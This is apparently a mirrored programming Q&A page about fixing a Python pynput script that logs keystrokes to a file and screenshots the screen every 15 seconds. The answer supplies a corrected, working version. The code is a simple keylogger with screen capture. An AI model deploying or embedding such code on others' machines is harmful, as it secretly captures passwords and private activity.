首页 > 解决方案 > How do I make pynput.keyboard run as a Thread?

问题描述

I wrote a script to capture keystrokes using Pynput, It went alright until I wanted to take screenshots every 15 seconds while capturing keystrokes(threading).

I read about pynput.keyboard Documents and saw that A keyboard listener is a threading.Thread, and yet I was unable to do it, I think I managed to create the two threads but it is not entering the 'getKey' function I don't know why.

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    listener = keyboard.Listener(onpress=getKey)
    listener.start()
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()
    thread2.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    time.sleep(15)
    image = ImageGrab.grab()
    now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
    image.save(now + '.png')

main()

As I explained it does not even creates the file 'log.txt' only take a screenshot after 15sec. Thank you!

标签: pythonmultithreadingkeylogger

解决方案


这是使用官方文档中的监听器的正确方法

如果您需要每 15 秒捕获一次屏幕截图,您应该运行一个带有 while 循环的线程以在后台连续运行

这是代码:

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()

    with Listener(on_press=getKey) as listener:
        listener.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    # run contineous and take screenshot every 15 seconds
    while True:
        print('taking screenshot')
        image = ImageGrab.grab()
        now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
        image.save(now + '.png')
        time.sleep(15)


main()

推荐阅读